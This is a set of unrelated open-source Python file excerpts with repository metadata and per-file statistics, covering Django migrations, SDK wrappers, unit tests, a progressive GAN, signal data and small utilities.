('wagtailimages',... | 63.769231 | 201 | 0.606353 | 2,533 | 24,870 | 5.797079 | 0.069878 | 0.06313 | 0.060065 | 0.094388 | 0.895328 | 0.88736 | 0.880074 | 0.873672 | 0.867815 | 0.846636 | 0 | 0.007116 | 0.242863 | 24,870 | 389 | 202 | 63.933162 | 0.772703 | 0.001809 | 0 | 0.748691 | 1 | 0 | 0.172461 | 0.022479 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.013089 | 0 | 0.02356 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
a75f063c15dde42fd7fef6c6d3d3838622627b84 | 19,919 | py | Python | doc/jupyter_execute/notebooks/server_examples.py | edshee/seldon-core | 78c10fbca16a5e2a0c25b9673aa3deb220070e26 | [
"Apache-2.0"
] | null | null | null | doc/jupyter_execute/notebooks/server_examples.py | edshee/seldon-core | 78c10fbca16a5e2a0c25b9673aa3deb220070e26 | [
"Apache-2.0"
] | null | null | null | doc/jupyter_execute/notebooks/server_examples.py | edshee/seldon-core | 78c10fbca16a5e2a0c25b9673aa3deb220070e26 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# coding: utf-8
# # Example Model Servers with Seldon
#
# ## Setup Seldon Core
#
# Use the setup notebook to [Setup Cluster](https://docs.seldon.io/projects/seldon-core/en/latest/examples/seldon_core_setup.html#Setup-Cluster) with [Ambassador Ingress](https://docs.seldon.io/projects/seldon-core... | 31.76874 | 1,211 | 0.651338 | 2,652 | 19,919 | 4.841252 | 0.123303 | 0.032713 | 0.031778 | 0.036451 | 0.847807 | 0.804112 | 0.763221 | 0.728328 | 0.713295 | 0.665083 | 0 | 0.022342 | 0.191074 | 19,919 | 626 | 1,212 | 31.819489 | 0.774468 | 0.26161 | 0 | 0.509804 | 0 | 0.117647 | 0.608834 | 0.156177 | 0 | 0 | 0 | 0 | 0.063725 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.058824 | 0.093137 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
a780dac3769b7b97d40de9440954a1ffc741bea5 | 1,667 | py | Python | data_structures/sorting_algos/selection/test_selection.py | jeremyCtown/data-structures-and-algorithms | d4ba8741f858fb5298f8ce560240373fb7742e20 | [
"MIT"
] | null | null | null | data_structures/sorting_algos/selection/test_selection.py | jeremyCtown/data-structures-and-algorithms | d4ba8741f858fb5298f8ce560240373fb7742e20 | [
"MIT"
] | null | null | null | data_structures/sorting_algos/selection/test_selection.py | jeremyCtown/data-structures-and-algorithms | d4ba8741f858fb5298f8ce560240373fb7742e20 | [
"MIT"
] | null | null | null | import pytest
from selection import selection_smallest_first, selection_largest_first
def test_selection_smallest_random():
"""Test randomly ordered list."""
lst = [54,26,93,17,77,31,44,55,20]
assert selection_smallest_first(lst) == [17, 20, 26, 31, 44, 54, 55, 77, 93]
def test_selection_smallest_nearly... | 32.057692 | 80 | 0.622675 | 289 | 1,667 | 3.418685 | 0.134948 | 0.020243 | 0.129555 | 0.036437 | 0.862348 | 0.831984 | 0.831984 | 0.831984 | 0.831984 | 0.831984 | 0 | 0.139078 | 0.206359 | 1,667 | 51 | 81 | 32.686275 | 0.60771 | 0.139772 | 0 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.307692 | 1 | 0.307692 | false | 0 | 0.076923 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a785a92c11a1942b369d747626f832cdbc0d4e03 | 4,269 | py | Python | hlwtadmin/migrations/0026_auto_20200415_1628.py | Kunstenpunt/havelovewilltravel | 6a27824b4d3d8b1bf19e0bc0d0648f0f4e8abc83 | [
"Apache-2.0"
] | 1 | 2020-10-16T16:29:01.000Z | 2020-10-16T16:29:01.000Z | hlwtadmin/migrations/0026_auto_20200415_1628.py | Kunstenpunt/havelovewilltravel | 6a27824b4d3d8b1bf19e0bc0d0648f0f4e8abc83 | [
"Apache-2.0"
] | 365 | 2020-02-03T12:46:53.000Z | 2022-02-27T17:20:46.000Z | hlwtadmin/migrations/0026_auto_20200415_1628.py | Kunstenpunt/havelovewilltravel | 6a27824b4d3d8b1bf19e0bc0d0648f0f4e8abc83 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 3.0 on 2020-04-15 14:28
import datetime
from django.db import migrations, models
from django.utils.timezone import utc
class Migration(migrations.Migration):
dependencies = [
('hlwtadmin', '0025_auto_20200414_1705'),
]
operations = [
migrations.AlterModelOptions(
... | 50.223529 | 165 | 0.621926 | 465 | 4,269 | 5.612903 | 0.148387 | 0.124138 | 0.151724 | 0.193103 | 0.842146 | 0.842146 | 0.814943 | 0.814943 | 0.814943 | 0.814943 | 0 | 0.026867 | 0.250176 | 4,269 | 84 | 166 | 50.821429 | 0.788504 | 0.010073 | 0 | 0.794872 | 1 | 0 | 0.346828 | 0.072206 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.038462 | 0 | 0.076923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
a79c38b565483682aa7ad9b82c4dfb210e2d6918 | 372 | py | Python | Uber Ludwig Examples/French-English Bilingual Pairs/txt_to_csv.py | AymaneZizi/Tutorials | e67f8d1eba0e4aa4ebb095966a215b48b1efe64a | [
"MIT"
] | 559 | 2019-02-21T08:14:34.000Z | 2022-03-30T21:47:27.000Z | Uber Ludwig Examples/French-English Bilingual Pairs/txt_to_csv.py | mehdi2019gaied/Tutorials | aa4a1735ba9d7f54e1eabdb2780bfcaf031ba90a | [
"MIT"
] | 46 | 2019-03-02T18:42:20.000Z | 2022-03-17T01:34:07.000Z | Uber Ludwig Examples/French-English Bilingual Pairs/txt_to_csv.py | mehdi2019gaied/Tutorials | aa4a1735ba9d7f54e1eabdb2780bfcaf031ba90a | [
"MIT"
] | 726 | 2019-02-18T15:52:40.000Z | 2022-03-27T22:37:54.000Z | import os
import pandas as pd
if __name__ == '__main__':
df = pd.read_csv('/media/gilbert/948A92E98A92C760/Local_Programming/Datasets/Other/French-English Bilingual Pairs/fra.txt', sep='\t', header=None, names=['english', 'french'])
df.head()
df.to_csv('/media/gilbert/948A92E98A92C760/Local_Programming/Dat... | 53.142857 | 179 | 0.758065 | 51 | 372 | 5.294118 | 0.607843 | 0.059259 | 0.111111 | 0.22963 | 0.666667 | 0.666667 | 0.666667 | 0.666667 | 0.666667 | 0.666667 | 0 | 0.071217 | 0.094086 | 372 | 7 | 180 | 53.142857 | 0.72997 | 0 | 0 | 0 | 0 | 0.333333 | 0.613941 | 0.423592 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
a7b5abc58573e6dfee77ee4b484a0ff19f1e0d5b | 14,285 | py | Python | accelbyte_py_sdk/api/ugc/wrappers/_admin_group.py | AccelByte/accelbyte-python-sdk | dcd311fad111c59da828278975340fb92e0f26f7 | [
"MIT"
] | null | null | null | accelbyte_py_sdk/api/ugc/wrappers/_admin_group.py | AccelByte/accelbyte-python-sdk | dcd311fad111c59da828278975340fb92e0f26f7 | [
"MIT"
] | 1 | 2021-10-13T03:46:58.000Z | 2021-10-13T03:46:58.000Z | accelbyte_py_sdk/api/ugc/wrappers/_admin_group.py | AccelByte/accelbyte-python-sdk | dcd311fad111c59da828278975340fb92e0f26f7 | [
"MIT"
] | null | null | null | # Copyright (c) 2021 AccelByte Inc. All Rights Reserved.
# This is licensed software from AccelByte Inc, for limitations
# and restrictions contact your company contract manager.
#
# Code generated. DO NOT EDIT!
# template file: justice_py_sdk_codegen/__main__.py
# pylint: disable=duplicate-code
# pylint: disable=li... | 39.570637 | 227 | 0.720126 | 1,697 | 14,285 | 5.82145 | 0.068945 | 0.113574 | 0.08017 | 0.053447 | 0.875493 | 0.825185 | 0.812329 | 0.804231 | 0.786213 | 0.781962 | 0 | 0.000345 | 0.189009 | 14,285 | 360 | 228 | 39.680556 | 0.852395 | 0.053623 | 0 | 0.772414 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037931 | false | 0 | 0.075862 | 0 | 0.265517 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
38fad5109a004000fd2e1b7345df5be96fc74605 | 238 | py | Python | tests/test_util/test_filter_none_kwargs.py | u8sand/FAIRshake | 8f6f3dde42de29b88e9a43bdd43f848382e3bad7 | [
"Apache-2.0"
] | null | null | null | tests/test_util/test_filter_none_kwargs.py | u8sand/FAIRshake | 8f6f3dde42de29b88e9a43bdd43f848382e3bad7 | [
"Apache-2.0"
] | 8 | 2018-06-05T17:01:43.000Z | 2018-06-22T01:19:39.000Z | tests/test_util/test_filter_none_kwargs.py | u8sand/FAIRshake | 8f6f3dde42de29b88e9a43bdd43f848382e3bad7 | [
"Apache-2.0"
] | 1 | 2018-06-06T17:22:28.000Z | 2018-06-06T17:22:28.000Z | from app.util.filter_none_kwargs import filter_none_kwargs
def test_filter_none_kwargs():
assert filter_none_kwargs(a=None, b='c') == {'b': 'c'}
assert filter_none_kwargs({'a': None, 'b': 'c'}, d=None, e='c') == {'b': 'c', 'e': 'c'}
| 39.666667 | 89 | 0.647059 | 41 | 238 | 3.487805 | 0.365854 | 0.34965 | 0.559441 | 0.307692 | 0.405594 | 0.405594 | 0.405594 | 0.405594 | 0 | 0 | 0 | 0 | 0.121849 | 238 | 5 | 90 | 47.6 | 0.684211 | 0 | 0 | 0 | 0 | 0 | 0.046218 | 0 | 0 | 0 | 0 | 0 | 0.5 | 1 | 0.25 | true | 0 | 0.25 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ac081d8bde20d4cb75c26ebdda39414ba815a92d | 20,779 | py | Python | test_signals.py | vladimirnesterov/ten-little-algorithms | 8df2e90c43e29a69171a3f6e1bf75ad4cd0759b3 | [
"MIT"
] | null | null | null | test_signals.py | vladimirnesterov/ten-little-algorithms | 8df2e90c43e29a69171a3f6e1bf75ad4cd0759b3 | [
"MIT"
] | null | null | null | test_signals.py | vladimirnesterov/ten-little-algorithms | 8df2e90c43e29a69171a3f6e1bf75ad4cd0759b3 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Wed May 19 11:47:55 2021
@author: Vladimir
"""
noise_signal = [2.7696641934421677, 4.769664193442168, 3.7696641934421677, 3.7696641934421677, 5.769664193442168, 6.769664193442168, 3.7696641934421677, 0.7696641934421677, -0.23033580655783226, -0.23033580655783226, -1.230335806557... | 2,597.375 | 20,691 | 0.827181 | 2,016 | 20,779 | 8.525298 | 0.014385 | 0.19794 | 0.226567 | 0.106825 | 0.990342 | 0.968057 | 0.955024 | 0.897888 | 0.804503 | 0.65951 | 0 | 0.867308 | 0.04904 | 20,779 | 8 | 20,691 | 2,597.375 | 0.00248 | 0.003706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
ac219555012cd1c763fa6e5095feda0ffadaeb49 | 24,999 | py | Python | GAN/networks/PRO_GAN.py | MacroHardGang/desegan | d7cdd39c8c9de76f6d5b5a36cee3d8850b177687 | [
"MIT"
] | null | null | null | GAN/networks/PRO_GAN.py | MacroHardGang/desegan | d7cdd39c8c9de76f6d5b5a36cee3d8850b177687 | [
"MIT"
] | 6 | 2018-09-15T04:44:34.000Z | 2019-04-14T07:10:12.000Z | GAN/networks/PRO_GAN.py | MacroHardGang/desegan | d7cdd39c8c9de76f6d5b5a36cee3d8850b177687 | [
"MIT"
] | 1 | 2019-03-14T15:49:45.000Z | 2019-03-14T15:49:45.000Z | """ Module implementing GAN which will be trained using the Progressive growing
technique -> https://arxiv.org/abs/1710.10196
"""
import numpy as np
import torch as th
class Generator(th.nn.Module):
""" Generator of the GAN network """
def __init__(self, depth=7, latent_size=512, use_eql=True):
... | 39.55538 | 96 | 0.606984 | 3,124 | 24,999 | 4.698464 | 0.098592 | 0.02003 | 0.019417 | 0.009811 | 0.872326 | 0.854408 | 0.836354 | 0.836354 | 0.810533 | 0.80079 | 0 | 0.012585 | 0.313453 | 24,999 | 632 | 97 | 39.55538 | 0.842627 | 0.291092 | 0 | 0.719626 | 0 | 0 | 0.031954 | 0 | 0 | 0 | 0 | 0.003165 | 0.028037 | 1 | 0.056075 | false | 0 | 0.074766 | 0 | 0.174455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ac32e225a7b20e42f721559cc28621664c4e0fa7 | 23,198 | py | Python | skipole/skiadmin/skiadminpackages/editwidgets/inserts.py | bernie-skipole/skipole | b45d3291c593e7c03c053ab4f192f1ecc5c3e9b9 | [
"MIT"
] | null | null | null | skipole/skiadmin/skiadminpackages/editwidgets/inserts.py | bernie-skipole/skipole | b45d3291c593e7c03c053ab4f192f1ecc5c3e9b9 | [
"MIT"
] | null | null | null | skipole/skiadmin/skiadminpackages/editwidgets/inserts.py | bernie-skipole/skipole | b45d3291c593e7c03c053ab4f192f1ecc5c3e9b9 | [
"MIT"
] | null | null | null |
from ... import FailPage, ValidateError, GoTo, ServerError, skilift
from ....skilift import editpage, editsection
from ....ski.project_class_definition import SectionData
def show_empty_modal_insert(skicall):
"Fills in empty modal insert"
call_data = skicall.call_data
pd = call_data['pagedata']
sd... | 40.134948 | 149 | 0.678205 | 2,984 | 23,198 | 5.072051 | 0.068365 | 0.063958 | 0.017179 | 0.023852 | 0.852725 | 0.826032 | 0.815395 | 0.806673 | 0.781896 | 0.761943 | 0 | 0.004421 | 0.21989 | 23,198 | 577 | 150 | 40.204506 | 0.831906 | 0.117338 | 0 | 0.762791 | 0 | 0 | 0.260979 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.023256 | false | 0 | 0.006977 | 0 | 0.032558 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ac69c7aa8ebd71ef086ea2e0cacf4c3fa1cd1086 | 114 | py | Python | sumo_docker_pipeline/operation_module/__init__.py | Kensuke-Mitsuzawa/sumo_docker_pipeline | b16c7e0da4938bf813f2af2ed667887b4f9a6298 | [
"MIT"
] | null | null | null | sumo_docker_pipeline/operation_module/__init__.py | Kensuke-Mitsuzawa/sumo_docker_pipeline | b16c7e0da4938bf813f2af2ed667887b4f9a6298 | [
"MIT"
] | 14 | 2021-05-23T14:16:21.000Z | 2021-12-05T21:59:56.000Z | sumo_docker_pipeline/operation_module/__init__.py | Kensuke-Mitsuzawa/sumo_docker_pipeline | b16c7e0da4938bf813f2af2ed667887b4f9a6298 | [
"MIT"
] | 1 | 2021-12-31T15:10:20.000Z | 2021-12-31T15:10:20.000Z | from .docker_operation_module import SumoDockerController
from .local_operation_module import LocalSumoController
| 38 | 57 | 0.912281 | 12 | 114 | 8.333333 | 0.666667 | 0.3 | 0.42 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070175 | 114 | 2 | 58 | 57 | 0.943396 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
ac835e1013519f195f4915f2072e63eff2a69922 | 130 | py | Python | molsysmt/element/group/terminal_capping/__init__.py | uibcdf/MolModMTs | 4f6b6f671a9fa3e73008d1e9c48686d5f20a6573 | [
"MIT"
] | null | null | null | molsysmt/element/group/terminal_capping/__init__.py | uibcdf/MolModMTs | 4f6b6f671a9fa3e73008d1e9c48686d5f20a6573 | [
"MIT"
] | null | null | null | molsysmt/element/group/terminal_capping/__init__.py | uibcdf/MolModMTs | 4f6b6f671a9fa3e73008d1e9c48686d5f20a6573 | [
"MIT"
] | null | null | null | from .names import n_terminal_capping_names, c_terminal_capping_names, names
from .is_terminal_capping import is_terminal_capping
| 43.333333 | 76 | 0.892308 | 20 | 130 | 5.3 | 0.4 | 0.566038 | 0.377358 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 130 | 2 | 77 | 65 | 0.883333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
3bb19dd4e1d237af6ee822505fe85d14bbdc5314 | 163 | py | Python | debarcer/src/edit_distance.py | bgfritz1/debarcer_tobias | 5c99abcee72f4605610473da0a56632d4fe824d3 | [
"MIT"
] | null | null | null | debarcer/src/edit_distance.py | bgfritz1/debarcer_tobias | 5c99abcee72f4605610473da0a56632d4fe824d3 | [
"MIT"
] | null | null | null | debarcer/src/edit_distance.py | bgfritz1/debarcer_tobias | 5c99abcee72f4605610473da0a56632d4fe824d3 | [
"MIT"
] | null | null | null |
def edit_distance(a, b):
"""Returns the Hamming edit distance between two strings."""
return sum(letter_a != letter_b for letter_a, letter_b in zip(a, b)) | 40.75 | 72 | 0.705521 | 28 | 163 | 3.928571 | 0.607143 | 0.218182 | 0.236364 | 0.254545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.177914 | 163 | 4 | 72 | 40.75 | 0.820896 | 0.331288 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
3bda8126a849871fd59f6d62cfd06797c445e1f2 | 9,840 | py | Python | tests/test_basic_read.py | raaghulr/ami2py | a8ba8e83f91760e8ec6c3337199eef9800a80547 | [
"MIT"
] | 10 | 2020-04-30T03:22:57.000Z | 2021-09-07T09:33:20.000Z | tests/test_basic_read.py | raaghulr/ami2py | a8ba8e83f91760e8ec6c3337199eef9800a80547 | [
"MIT"
] | 4 | 2020-09-17T01:21:53.000Z | 2022-03-27T01:49:11.000Z | tests/test_basic_read.py | raaghulr/ami2py | a8ba8e83f91760e8ec6c3337199eef9800a80547 | [
"MIT"
] | 4 | 2020-04-07T11:47:05.000Z | 2021-12-28T16:17:28.000Z | from ami2py import AmiReader
from ami2py.ami_construct import Master, SymbolConstruct,SymbolHeader
from ami2py.consts import DATEPACKED, OPEN
import time
import os
from ami2py.ami_symbol_facade import AmiSymbolDataFacade
def test_symbol_header():
test_data_folder = os.path.dirname(__file__)
header_data_path ... | 66.040268 | 4,711 | 0.710163 | 1,856 | 9,840 | 3.674569 | 0.066272 | 1.022287 | 1.528152 | 2.032258 | 0.726979 | 0.707038 | 0.67478 | 0.670235 | 0.657625 | 0.628592 | 0 | 0.274273 | 0.091463 | 9,840 | 148 | 4,712 | 66.486486 | 0.488591 | 0.083943 | 0 | 0.330097 | 0 | 0.009709 | 0.566518 | 0.522136 | 0 | 1 | 0 | 0 | 0.330097 | 1 | 0.097087 | false | 0 | 0.058252 | 0 | 0.15534 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
3bdd239689c59ad0c2b2fa15e6560ac52efea118 | 160 | py | Python | core/src/wattle/core/models/py/__init__.py | wattlecloud/foundation-server | e1467d192a7729fa4f116c80dcd001bfd58662e8 | [
"Apache-2.0"
] | null | null | null | core/src/wattle/core/models/py/__init__.py | wattlecloud/foundation-server | e1467d192a7729fa4f116c80dcd001bfd58662e8 | [
"Apache-2.0"
] | 1 | 2021-07-20T00:28:27.000Z | 2021-07-20T00:28:27.000Z | core/src/wattle/core/models/py/__init__.py | wattlecloud/foundation-server | e1467d192a7729fa4f116c80dcd001bfd58662e8 | [
"Apache-2.0"
] | null | null | null | from .auth import * # noqa: F401, F403
from .common import * # noqa: F401, F403
from .s3 import * # noqa: F401, F403
from .user import * # noqa: F401, F403
| 32 | 41 | 0.65 | 24 | 160 | 4.333333 | 0.375 | 0.384615 | 0.538462 | 0.692308 | 0.634615 | 0 | 0 | 0 | 0 | 0 | 0 | 0.201613 | 0.225 | 160 | 4 | 42 | 40 | 0.637097 | 0.41875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 9 |
ce1861746b9b6bee8b14f0392e5fa609e895f1fd | 125 | py | Python | app/routes/__init__.py | shelb-doc/Py-News | fc74ac63ace5e5c44c7ead4afa406542de11cc16 | [
"MIT"
] | null | null | null | app/routes/__init__.py | shelb-doc/Py-News | fc74ac63ace5e5c44c7ead4afa406542de11cc16 | [
"MIT"
] | 6 | 2021-04-12T16:27:34.000Z | 2021-04-30T12:37:21.000Z | app/routes/__init__.py | shelb-doc/Py-News | fc74ac63ace5e5c44c7ead4afa406542de11cc16 | [
"MIT"
] | null | null | null | from app.routes import home
from .home import bp as home
from .dashboard import bp as dashboard
from .api import bp as api | 17.857143 | 38 | 0.776 | 23 | 125 | 4.217391 | 0.391304 | 0.247423 | 0.309278 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.192 | 125 | 7 | 39 | 17.857143 | 0.960396 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
cbfd698dd2dee124e632d6e0a7e6b62fe7eefa1e | 3,891 | py | Python | tests/sample_apps/how_to/_cloudsave.py | AccelByte/accelbyte-python-sdk | dcd311fad111c59da828278975340fb92e0f26f7 | [
"MIT"
] | null | null | null | tests/sample_apps/how_to/_cloudsave.py | AccelByte/accelbyte-python-sdk | dcd311fad111c59da828278975340fb92e0f26f7 | [
"MIT"
] | 1 | 2021-10-13T03:46:58.000Z | 2021-10-13T03:46:58.000Z | tests/sample_apps/how_to/_cloudsave.py | AccelByte/accelbyte-python-sdk | dcd311fad111c59da828278975340fb92e0f26f7 | [
"MIT"
] | null | null | null | from ._integration_test_case import IntegrationTestCase
from accelbyte_py_sdk.api.cloudsave.models import ModelsGameRecordRequest
class CloudSaveTestCase(IntegrationTestCase):
post_game_record_handler_key: str = "key"
models_game_record_request: ModelsGameRecordRequest = ModelsGameRecordRequest.create(dict_... | 39.30303 | 115 | 0.713441 | 497 | 3,891 | 5.17505 | 0.124748 | 0.171073 | 0.257776 | 0.177294 | 0.821928 | 0.795101 | 0.795101 | 0.795101 | 0.778771 | 0.739891 | 0 | 0.00789 | 0.218196 | 3,891 | 98 | 116 | 39.704082 | 0.837607 | 0.019275 | 0 | 0.52381 | 0 | 0 | 0.05969 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.079365 | false | 0 | 0.222222 | 0 | 0.349206 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
5a42d9e8f1f674629b5751efe57ef4fa0adfa1ac | 7,667 | py | Python | orangelib/build/lib/orangelib/model.py | ayoolaolafenwa/orangelib | 4fe7d88488482e52d466b8021db3b4e4dc80a484 | [
"MIT"
] | 5 | 2020-06-23T11:47:35.000Z | 2021-12-18T16:00:18.000Z | orangelib/build/lib/orangelib/model.py | ayoolaolafenwa/orangelib | 4fe7d88488482e52d466b8021db3b4e4dc80a484 | [
"MIT"
] | null | null | null | orangelib/build/lib/orangelib/model.py | ayoolaolafenwa/orangelib | 4fe7d88488482e52d466b8021db3b4e4dc80a484 | [
"MIT"
] | 4 | 2020-06-23T11:51:49.000Z | 2021-11-21T03:44:48.000Z | import tensorflow
from tensorflow.keras.layers import *
from tensorflow.keras.models import *
import os
from tensorflow.keras.preprocessing import image
from .net import MobileNetV2
import numpy as np
from tensorflow.keras import backend as K
class OrangeClassifier():
def __init__(self, model_path):
... | 35.169725 | 97 | 0.663623 | 974 | 7,667 | 4.946612 | 0.101643 | 0.069738 | 0.139477 | 0.047323 | 0.935243 | 0.935243 | 0.935243 | 0.935243 | 0.935243 | 0.935243 | 0 | 0.020474 | 0.26738 | 7,667 | 217 | 98 | 35.331797 | 0.83728 | 0.154167 | 0 | 0.87931 | 0 | 0 | 0.023394 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.103448 | false | 0 | 0.068966 | 0 | 0.275862 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ce637de6ea58bcc6eb859600dfc07d1ca4c99a0d | 4,079 | py | Python | test/polygon_test.py | TimeExceed/fathom | 23e611213b25789f3e4931e5f3961bee7500ffa5 | [
"BSD-3-Clause"
] | null | null | null | test/polygon_test.py | TimeExceed/fathom | 23e611213b25789f3e4931e5f3961bee7500ffa5 | [
"BSD-3-Clause"
] | null | null | null | test/polygon_test.py | TimeExceed/fathom | 23e611213b25789f3e4931e5f3961bee7500ffa5 | [
"BSD-3-Clause"
] | null | null | null | import testa
from fathom import Point, ORIGIN
